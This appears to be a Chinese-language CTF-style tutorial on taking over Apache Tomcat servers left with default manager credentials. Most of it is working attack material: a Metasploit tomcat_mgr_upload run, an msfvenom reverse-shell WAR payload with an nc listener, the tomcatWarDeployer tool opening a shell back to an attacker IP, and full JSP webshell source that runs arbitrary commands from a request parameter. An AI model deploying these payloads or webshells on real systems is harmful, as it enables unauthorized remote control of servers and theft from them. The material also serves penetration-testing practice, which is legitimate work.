02.16 攻擊Tomcat的多種姿勢

大家好,本文我想分享一下我的經驗,如果你的Tomcat應用設置的是默認登陸憑證時(Tomcat:Tomcat)如何進行利用?當我在打CTF時,很多次我都發現目標主機上的Tomcat應用都是配置的默認登陸憑證,這有助於我們拿到主機的遠程shell。因此,我感覺應該記錄一下所有攻擊Tomcat應用並獲取遠程主機webshell的方法。

目錄

  • Tomcat經過身份驗證的上傳代碼執行

  • 生成.war格式的後門

  • Tomcat war部署腳本

  • 生成JSP webshell

首先使用nmap進行掃描,看看8080端口是否運行著Tomcat服務

nmap -sV -p8080 192.168.1.101

從掃描結果可以看到,8080端口是開放的,運行著Apache Tomcat。我們用瀏覽器來訪問以下目標IP地址,後面帶上端口號。我們可以看到一個HTTP身份認證頁面來登陸Tomcat管理後臺。

Tomcat經過身份驗證的上傳代碼執行

目標服務器是Apache Tomcat,而且洩露了管理後臺,我們可以利用一個模塊來執行payload。這個payload作為一個war文件上傳,這個payload包含了一個jsp應用,該jsp應用使用POST方式向/manager/html/upload組件發起請求。請注意,根據目標主機的不同,這個payload的設置也會有所不同。比如,如果你的目標主機是Windows,那麼你得使用原生的windows payload。

use exploit/multi/http/tomcat_mgr_upload 
msf exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.1.101
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat
msf exploit(multi/http/tomcat_mgr_upload) > exploit

如圖所示,我們可以看到我們已經拿下了目標主機的meterpreter會話:

生成.war格式的後門

我們可以使用msfvenom來為java和jsp payload生成一個.war格式的後門。你要做的就是按照下面提供的語法來創建一個.war格式的文件並啟動nc進行監聽:

Syntax: msfvenom -p [payload] LHOST=[Kali Linux IP] LPORT=[1234] -f [file format] > [file name] 
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=1234 -f war > shell.war
nc -lvp 1234

現在,使用默認的登陸憑證Tomcat:tomcat登陸到Tomcat管理後臺中,登陸成功後你就能看到管理員面板,在這裡你可以上傳.war文件。

如圖所示,你可以看到我已經在截圖中圈出了“瀏覽惡意的shell.war文件進行部署”。一旦你成功上傳你的war文件,在應用表中,你可以看到一個跟你war文件名字相同的目錄。

想要執行你的war文件,你需要進入該目錄並點擊war文件,或者是直接在URL裡訪問。

一旦你執行了war文件,你就可以通過nc獲得一個反向連接。

耶,我們又一次獲得了一個遠程主機的webshell。

Tomcat War部署腳本

這是一個滲透測試工具,旨在利用Apache Tomcat憑證以自動生成和部署JSP後門,一旦之後觸發這個後門,就會返回一個令人大快人心的shell了(不管是通過web gui還是監聽綁定到目標主機的端口或者是回連到攻擊者的反向TCP payload)。

實際上,它會動態的生成JSP後門war包,然後使用pentester提供的有效的HTTP身份認證憑證(或者自定義憑證,一般都是Tomcat:tomcat)登陸到Tomcat管理界面中並且將其部署到Tomcat應用程序中。

部署腳本你可以在這裡進行下載:

https://github.com/mgeeky/tomcatWarDeployer

git clone https://github.com/mgeeky/tomcatWarDeployer 
cd tomcatWarDeployer
ls

現在再按照語法來對目標主機進行漏洞利用,不用再手動上傳war文件了。

Syntax : ./tomcatWarDeployer.py -U [usrename] -p [password]-H [Kali Linux IP]-p [Listening port] [target_IP]:[tomcat_port] 
./tomcatWarDeployer.py -U tomcat -P tomcat -H 192.168.1.108 -p 4567 192.168.1.101:8080

一旦執行了上述命令,我們就可以直接獲得一個webshell了,如下圖所示:

生成JSP webshell

接下來,我們就來看看如何生成和部署webshell來獲得Tomcat應用中的執行命令。

首先,我們需要寫一個webshell並且打包成war格式。我們可以使用下面的代碼來寫一個webshell:

 
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"
"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>

保存代碼為index.jsp文件,然後使用下列命令來打包:

mkdir webshell 
cp index.jsp webshell/
cd webshell
jar -cvf ../webshell.war *

執行完這條命令,你就能生成一個war文件,你可以將這個war文件部署在Tomcat應用中。

如下圖所示,你可以看到,我已經成功上傳並部署了webshell.war文件,現在我們點擊這個文件來執行:

在執行/webshell時,你會得到一個404錯誤頁面,現在再執行webshell下的index.jsp文件,如下:

http://192.168.1.106:8080/webshell/index.jsp

訪問了上述URL後,你會得到一個命令執行的表單,現在你就可以在這個表單上任意執行cmd命令了,如圖:

本文到此結束,希望大家有所收穫。


分享到:


相關文章: